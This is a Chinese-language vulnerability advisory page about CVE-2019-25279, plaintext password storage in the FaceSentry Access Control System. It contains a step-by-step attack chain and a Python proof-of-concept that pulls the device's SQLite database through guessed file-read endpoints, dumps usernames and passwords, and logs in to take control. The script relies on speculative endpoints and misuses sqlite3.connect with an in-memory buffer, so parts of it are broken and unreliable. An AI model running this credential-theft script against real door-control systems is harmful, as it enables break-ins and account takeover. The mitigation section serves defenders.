IPBUF安全漏洞报告
English
CVE-2019-25279 CVSS 7.5 高危

CVE-2019-25279 FaceSentry访问控制系统明文密码存储漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2019-25279
漏洞类型
明文密码存储/敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FaceSentry Access Control System 6.4.8

相关标签

明文密码存储敏感信息泄露SQLite数据库FaceSentry门禁系统CVSS 7.5高危漏洞无需认证CVE-2019-25279

漏洞概述

CVE-2019-25279是FaceSentry Access Control System 6.4.8版本中存在的一个高危安全漏洞。该漏洞属于敏感信息存储不当类别,攻击者可以直接访问设备上的SQLite数据库文件,获取其中存储的用户明文凭据。由于密码以未加密的明文形式存储在数据库中,任何能够访问数据库文件的人都可以直接获取管理员和用户的登录凭证,从而绕过身份验证机制访问整个门禁控制系统。此漏洞无需任何特殊权限或用户交互即可被利用,属于网络安全中较为严重的设计缺陷。攻击者成功利用此漏洞后,可以完全控制门禁系统,包括开门记录、用户管理、权限配置等敏感功能,对目标组织的安全造成重大威胁。

技术细节

FaceSentry Access Control System使用SQLite数据库存储系统数据,数据库文件位于/faceGuard/database/FaceSentryWeb.sqlite。该数据库中包含了系统的用户凭据信息,包括用户名和密码。漏洞的核心问题在于密码字段采用了明文存储方式,而非使用哈希算法进行加密保护。攻击者可以通过以下方式利用此漏洞:1. 通过Web接口的任意文件读取漏洞访问SQLite数据库文件;2. 使用SQL注入获取数据库访问权限;3. 通过其他途径直接访问数据库文件。获取数据库后,攻击者可以直接读取users表或类似的凭据存储表,获取明文形式的用户名和密码组合。利用这些凭据,攻击者可以正常登录系统管理后台,执行任意门禁控制操作,如添加用户、删除用户、修改权限、查看进出记录等。CVSS 3.1评分7.5(高危)反映了该漏洞的网络可达性、无需认证和无需交互的特性,以及对机密性的高影响。

攻击链分析

STEP 1
步骤1: 信息收集
识别目标系统为FaceSentry Access Control System,确认版本为6.4.8,探测Web服务端口和可访问的API端点
STEP 2
步骤2: 获取数据库访问
通过文件读取漏洞、SQL注入或直接访问等方式获取SQLite数据库文件/faceGuard/database/FaceSentryWeb.sqlite
STEP 3
步骤3: 提取明文凭据
使用SQLite工具打开数据库文件,查询users或类似表名,直接读取username和password字段的明文内容
STEP 4
步骤4: 身份认证绕过
使用获取的用户名和明文密码,通过正常登录接口进行身份认证,获取有效的会话令牌或Cookie
STEP 5
步骤5: 系统完全控制
登录管理后台后,可执行添加/删除用户、修改门禁权限、查看进出记录、配置系统参数等所有管理功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2019-25279 PoC - FaceSentry明文密码存储漏洞利用 # This PoC demonstrates accessing the SQLite database with plaintext credentials import requests import sqlite3 import io TARGET_URL = "http://target-ip:8080" DB_PATH = "/faceGuard/database/FaceSentryWeb.sqlite" def exploit_file_read(path): """Attempt to read arbitrary files from the system""" # Common endpoint for file read in FaceSentry endpoints = [ f"{TARGET_URL}/api/file/read?path={path}", f"{TARGET_URL}/file/download?filename={path}", f"{TARGET_URL}/admin/downloadDB" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: return response.content except: continue return None def extract_credentials(db_content): """Extract plaintext credentials from SQLite database""" if not db_content: return [] credentials = [] try: conn = sqlite3.connect(io.BytesIO(db_content)) cursor = conn.cursor() # Try common table names for user credentials table_queries = [ "SELECT name, password FROM users", "SELECT username, pwd FROM user_table", "SELECT login, pass FROM accounts", "SELECT * FROM sqlite_master WHERE type='table'" ] for query in table_queries: try: cursor.execute(query) rows = cursor.fetchall() if rows: for row in rows: if len(row) >= 2: credentials.append({ 'username': row[0], 'password': row[1] }) except: continue conn.close() except Exception as e: print(f"Error extracting credentials: {e}") return credentials def login_with_credentials(username, password): """Attempt to login with extracted credentials""" login_url = f"{TARGET_URL}/api/login" data = { 'username': username, 'password': password } try: response = requests.post(login_url, json=data, timeout=10) if response.status_code == 200 and 'token' in response.text: return response.json() except: pass return None if __name__ == "__main__": print("[*] CVE-2019-25279 - FaceSentry Plaintext Password Storage") print("[*] Target:", TARGET_URL) # Step 1: Read the SQLite database print("\n[1] Attempting to read database file...") db_content = exploit_file_read(DB_PATH) if db_content: print("[+] Database file obtained successfully") # Step 2: Extract credentials print("\n[2] Extracting plaintext credentials...") creds = extract_credentials(db_content) if creds: print(f"[+] Found {len(creds)} credential(s):") for cred in creds: print(f" Username: {cred['username']}") print(f" Password: {cred['password']}") # Step 3: Verify credentials print("\n[3] Verifying credentials...") result = login_with_credentials(cred['username'], cred['password']) if result: print("[+] Login successful!") print(f" Token: {result.get('token', 'N/A')}") else: print("[-] No credentials found in database") else: print("[-] Failed to obtain database file") print("[*] Try alternative exploitation methods:") print(" - SQL Injection to extract database content") print(" - Directory traversal to access database file")

影响范围

FaceSentry Access Control System 6.4.8

防御指南

临时缓解措施
立即限制对/faceGuard/database/目录的网络访问,确保只有授权的管理员可以访问。对Web应用进行安全加固,修复可能导致任意文件读取或SQL注入的漏洞点。在正式补丁发布前,可以考虑将数据库文件迁移到受保护的目录,并实施额外的访问控制策略。同时监控异常的数据库访问日志,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表